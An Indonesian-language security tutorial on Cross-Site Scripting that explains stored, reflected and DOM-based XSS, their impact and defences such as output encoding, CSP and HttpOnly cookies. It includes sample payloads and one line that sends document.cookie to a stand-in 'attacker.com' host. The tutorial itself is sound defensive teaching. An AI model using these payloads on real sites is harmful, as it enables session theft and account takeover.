XSS Attack #

Cross-Site Scripting (XSS) adalah salah satu celah keamanan paling klasik dan paling sering ditemukan pada web application. Walaupun terdengar “tua”, XSS masih secara konsisten masuk ke OWASP Top 10 karena dampaknya yang serius dan sering kali diremehkan oleh developer.

XSS memungkinkan attacker untuk menyuntikkan dan mengeksekusi JavaScript berbahaya di browser korban, menggunakan konteks dan kepercayaan aplikasi itu sendiri.

Apa Itu XSS Attack? #

XSS adalah serangan di mana attacker berhasil:

1. Menyisipkan script berbahaya (umumnya JavaScript)
2. Script tersebut dikirim oleh server atau diproses oleh client
3. Browser korban mengeksekusinya seolah-olah itu bagian dari aplikasi yang sah

Akibatnya, attacker bisa:

• Mencuri session / cookie
• Mengambil data sensitif
• Melakukan aksi atas nama user
• Mengubah tampilan halaman
• Melakukan phishing di dalam aplikasi

Secara singkat:

XSS = attacker menjalankan JavaScript di browser korban

Mengapa XSS Sangat Penting dalam Security? #

Browser = Trusted Environment #

Browser mempercayai:

• Domain
• Cookie
• LocalStorage
• Session

Jika XSS terjadi, attacker mewarisi kepercayaan ini.

Dampaknya Tidak Terlihat Secara Langsung #

Berbeda dengan SQL Injection yang langsung merusak data, XSS sering:

• Tidak tercatat di server log
• Tidak menyebabkan error
• Baru disadari setelah user dirugikan

Entry Point Sangat Banyak #

XSS bisa muncul dari:

• Form input
• URL parameter
• Comment
• Search box
• Rich text editor
• API response

Jenis-Jenis XSS Attack #

Stored XSS (Persistent XSS) #

Script berbahaya disimpan di server (database) dan dieksekusi setiap kali halaman diakses.

Contoh Alur #

Attacker → Input komentar berisi <script>
Server   → Simpan ke database
Victim   → Buka halaman komentar
Browser  → Eksekusi script attacker

Contoh Payload #

<script>alert('XSS')</script>

Kasus umum:

• Comment system
• Forum
• Profile bio

Reflected XSS #

Script tidak disimpan, tapi langsung dipantulkan dari request ke response.

Contoh URL #

/search?q=<script>alert(1)</script>

Jika server menampilkan kembali q tanpa sanitasi, browser akan mengeksekusinya.

Kasus umum:

• Search result
• Error message
• Query parameter

DOM-based XSS #

Terjadi sepenuhnya di sisi client (JavaScript) tanpa keterlibatan server.

Contoh #

document.getElementById('result').innerHTML = location.hash;

Jika URL:

#<img src=x onerror=alert(1)>

Browser akan mengeksekusi payload tersebut.

Kasus umum:

• SPA
• Manipulasi DOM
• Penggunaan innerHTML

Contoh Kasus Nyata XSS #

Pencurian Session Cookie #

fetch('https://attacker.com/steal?c=' + document.cookie)

Jika cookie tidak HttpOnly, attacker bisa:

• Mengambil session
• Login sebagai korban

Account Takeover #

Script otomatis:

• Mengganti email
• Mengganti password
• Mengirim request API

Semua dilakukan atas nama user.

Phishing Internal #

Attacker bisa:

• Mengganti UI login
• Menampilkan modal palsu
• Mengambil kredensial

User tidak sadar karena masih di domain asli.

Mengapa XSS Terjadi? #

Penyebab utama:

1. Input user dipercaya
2. Output tidak di-escape
3. Penggunaan API DOM yang tidak aman
4. Salah asumsi bahwa “frontend sudah aman”
5. Kurangnya Content Security Policy (CSP)

Best Practice Mencegah XSS #

Output Encoding (Paling Penting) #

Escape saat output, bukan saat input

Contoh Salah #

<div>{{ user_input }}</div>

Contoh Benar #

Framework modern biasanya auto-escape:

• React
• Vue
• Blade
• Twig

Pastikan tidak menonaktifkan fitur ini.

Hindari innerHTML #

❌ Buruk #

element.innerHTML = userInput;

✅ Aman #

element.textContent = userInput;

Validasi dan Sanitasi Input #

• Batasi karakter
• Whitelist, bukan blacklist
• Gunakan library sanitasi HTML

Contoh:

• DOMPurify
• OWASP Java HTML Sanitizer

Gunakan Content Security Policy (CSP) #

CSP membatasi script yang boleh dijalankan.

Contoh Header:

Content-Security-Policy:
  default-src 'self';
  script-src 'self';

Manfaat:

• Script inline diblok
• Script eksternal ilegal ditolak

Gunakan HttpOnly & Secure Cookie #

Set-Cookie: session=abc;
HttpOnly;
Secure;
SameSite=Strict

Walaupun XSS terjadi:

• Cookie tidak bisa diakses JS

Jangan Percaya Data dari API #

API ≠ Aman

Data dari backend tetap harus dianggap untrusted di frontend.

Review Third-Party Script #

• Analytics
• Ads
• Widget

Script pihak ketiga = attack surface besar.

Diagram Visual Text-Based Alur XSS #

Stored XSS #

[Attacker]
    |
    | input <script>
    v
[Web App] ---> [Database]
                    |
                    v
               [Victim Browser]
                    |
                    v
            Execute Malicious JS

Reflected XSS #

[Victim Browser]
        |
        | request ?q=<script>
        v
     [Server]
        |
        | response with script
        v
[Victim Browser Executes JS]

Kesimpulan #

XSS bukan sekadar bug kecil, tapi:

• Pelanggaran trust antara user dan aplikasi
• Pintu masuk ke account takeover
• Ancaman serius bagi data dan reputasi

Rule sederhana tapi krusial:

Jangan pernah percaya input user, dan selalu escape output.

XSS yang dicegah sejak awal jauh lebih murah dibanding dampak security incident di production.